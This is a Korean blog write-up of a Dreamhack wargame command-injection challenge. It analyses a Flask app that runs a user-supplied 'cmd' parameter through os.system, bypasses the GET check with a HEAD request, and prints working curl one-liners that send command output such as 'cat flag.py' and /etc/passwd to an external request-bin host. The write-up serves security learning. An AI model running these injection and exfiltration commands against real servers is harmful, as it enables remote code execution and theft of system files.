[문제 분석]
접속하면 이게 다다. 코드를 보겠다.
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
코드 또한 간단하다.
문제에서 Read the flag file XD가 설명이 끝이고 코드 또한 짧다.
코드를 분석해보자.
에서 '/' 시작하는 부분을 GET 으로 받고 있다.
이후 cmd를 ''로 초기화 하며 cmd parameter를 설정한 모습이 보인다.
cmd가 비어있으면 return ?cmd=[cmd]를 하여 친절하게 나타난다.
그 밑에는 GET method면 아무것도 출력하지 않는 코드임을 알 수 있다.
else 부분이 핵심이다.
os.system(cmd)를 통해 전달받은 parameter를 바로 수행하는 작업의 굉장한 취약점을 발견할 수 있다. 이를 통해 문제를 해결할 수 있어 보인다.
+ GET methods만 받는데 GET이면 아무것도 출력이 안되게 설정해놨다. GET을 우회하는 방법이 필요해보인다.
[Write Up]
1. GET을 우회할 수 있는 방법을 알아야 함
가능한 Method를 알아보는 방법으로 Burp Suite 툴을 사용했다.
Proxy -> Proxy settings 에 들어간 후에 위 사진처럼 원래는 체크가 안되어있던 것들을 모두 체크한 후 창을 닫아준다.
Proxy에서 Intercept 부분에 들어간 후 intercept on 을 한 이후에 브라우저를 열고 해당 문제 사이트를 복사한다.
이 후 HTTP history 부분에 들어가서 살펴보면 RAW 데이터로 봤을 떄 GET Method를 사용하는 것을 알 수 있다.
Proxy 창에서 우측클릭 -> send to Repeater를 한 후에 Repeater에서 들어가서 보면 임의로 RAW 데이터를 수정한 후 Send를 할 수 있는 것을 확인할 수 있다.
여기서 HTTP의 Method에 대한 지식이 있어야 한다.
위와 같은 Method들이 존재한다.
현재 GET으로는 안되는 것을 확인했다. 여기서 OPTIONS을 사용해서 어떤 것이 가능한지 확인해보겠다.
OPTIONS /?cmd=ls 와 같은 단순한 명령어를 사용해서 send를 해보았다.
우측 Response에서 Allow 된 Method 방식이 Options, Head, Get 인 것을 확인할 수 있다. 여기서 HEAD가 GET을 대체할 수 있음을 알 수 있으니 GET 대신 HEAD를 쓰면 될 것 같다.
2. FLAG 어떻게 출력?
이제 flag를 얻어야 했다. HEAD를 사용하면 되는 것을 알았으니 이 웹사이트에서의 파일이 어떻게 구성되어 있는지 알아야 했다. 다만 위 사진처럼 ls를 그냥 보내면 결과 확인이 가능한 것은 아니다.
내부에서 확인이 불가능함으로 실행결과를 외부로 보내는 Network Outbound를 사용해보겠다.
https://tools.dreamhack.games/
외부 툴 사용은 위 사이트를 이용하면 용이하다.
사이트 접속 후 Request Bin에 들어가면 임시의 url이 나온다. 이것을 사용하면 된다.
그럼 이제 이 url을 가지고 어떻게 외부로 보내냐?
-> culr 명령어 사용
curl (부여받은 임시 url in dreamhack tools) -d $(명령어)
형태로 사용하면 가능하다. 직접 예시를 보여주겠다.
HEAD /?cmd=curl+https://fhlqmoa.request.dreamhack.games+-d+"$(ls)"
- HEAD를 사용
- /?cmd= 를 통해 명령어를 전달
- curl 명령어 사용
- +는 spacebar를 의미한다. (cmd에서의 스페이스바를 의미. 실제로 띄어쓰기로 코드 작성시 끝까지 인식이 안됨)
- 중간에 부여받은 링크 사용 -> 외부로 결과 도출
- -d 데이터를 POST요청으로 전송
- "$(ls)" cmd에서 실제 실행할 명령어 전송
Burp Suite에서 위 코드를 입력한 후 Send 버튼을 누르면 Response가 적절히 (오른쪽과 같이) 뜬 다. 그러면 이 후 Dreamhack tools 사이트로 돌아와 기다리면 하나의 반응이 생긴 것을 볼 수 있다.
보다 싶이 내 Request Bin에 적절히 반응 하나가 생긴것을 알 수 있는데, ls 명령어로 살펴본 결과 flag.py 라는 곳에 flag가 들어있음을 알 수 있다.
✨정답
HEAD /?cmd=curl+https://fhlqmoa.request.dreamhack.games+-d+"$(cat+flag.py)"
위 방법과 똑같이 Burp Suite에 입력후 Send를 누르면 Dreamhack tools라는 외부 사이트에서 결과를 확인할 수 있다. 답은 아래와 같다.
* curl 추가 설명 (Dreamhack 내용)
client URL의 줄임말로 서버에 데이터를 보내거나 서버로부터 데이터를 받는 데이터 전송 명령어입니다. curl [옵션] URL 형식으로 사용할 수 있으며, HTTP, HTTPS, FTP 등 다양한 프로토콜을 지원합니다. 다음은 ‘http://www.google.com ’ 웹 서버의 콘텐츠를 반환하여 출력하는 모습입니다.
curl 명령어의 주요 옵션은 다음과 같습니다. 아래 옵션들을 지금 모두 이해할 필요는 없으며, 다양한 방식으로 사용할 수 있다는 점을 기억하시면 됩니다.
- -o file : 전송 받은 데이터를 파일에 저장합니다.
- -i : 결과 값에 HTTP 응답 헤더를 포함합니다.
- -X "method" : HTTP 요청 메소드를 지정합니다.
- -d "key=value" : HTTP POST 메소드로 데이터를 전송합니다.
curl을 이용한 명령어 실행 결과 전송
curl 은 워게임 문제를 풀 때도 유용하게 사용됩니다. 예를 들어 풀이자가 명령어 실행 결과를 볼 수 없는 경우, 결과를 curl 명령어에 포함하여 풀이자의 웹 서버로 전송하면 확인이 가능합니다. 다음은 서버 내 /etc/passwd 파일을 https://hmqtzgx.request.dreamhack.games에 POST 데이터로 전송하는 예시입니다.
curl "https://hmqtzgx.request.dreamhack.games" -d "`cat /etc/passwd`"
참고
https://studyforall.tistory.com/22
https://velog.io/@buaii/blind-command
'Web Hacking' 카테고리의 다른 글
[WebHacking] - Dreamhack Carve Party 문제 풀이 (0) | 2024.08.18 |
---|---|
[WebHacking] - Dreamhack web-ssrf 문제 풀이(SSRF) (0) | 2024.08.18 |
[WebHacking] - Dreamhack : file-download-1 문제 풀이 (File Vulnerability) (0) | 2024.08.18 |
[WebHacking] - Dreamhack image-stroage 문제 풀이 (File Vulnerability) (0) | 2024.08.18 |
[WebHacking] - Dreamhack command-injection-1 문제 풀이 (command injection) (0) | 2024.08.17 |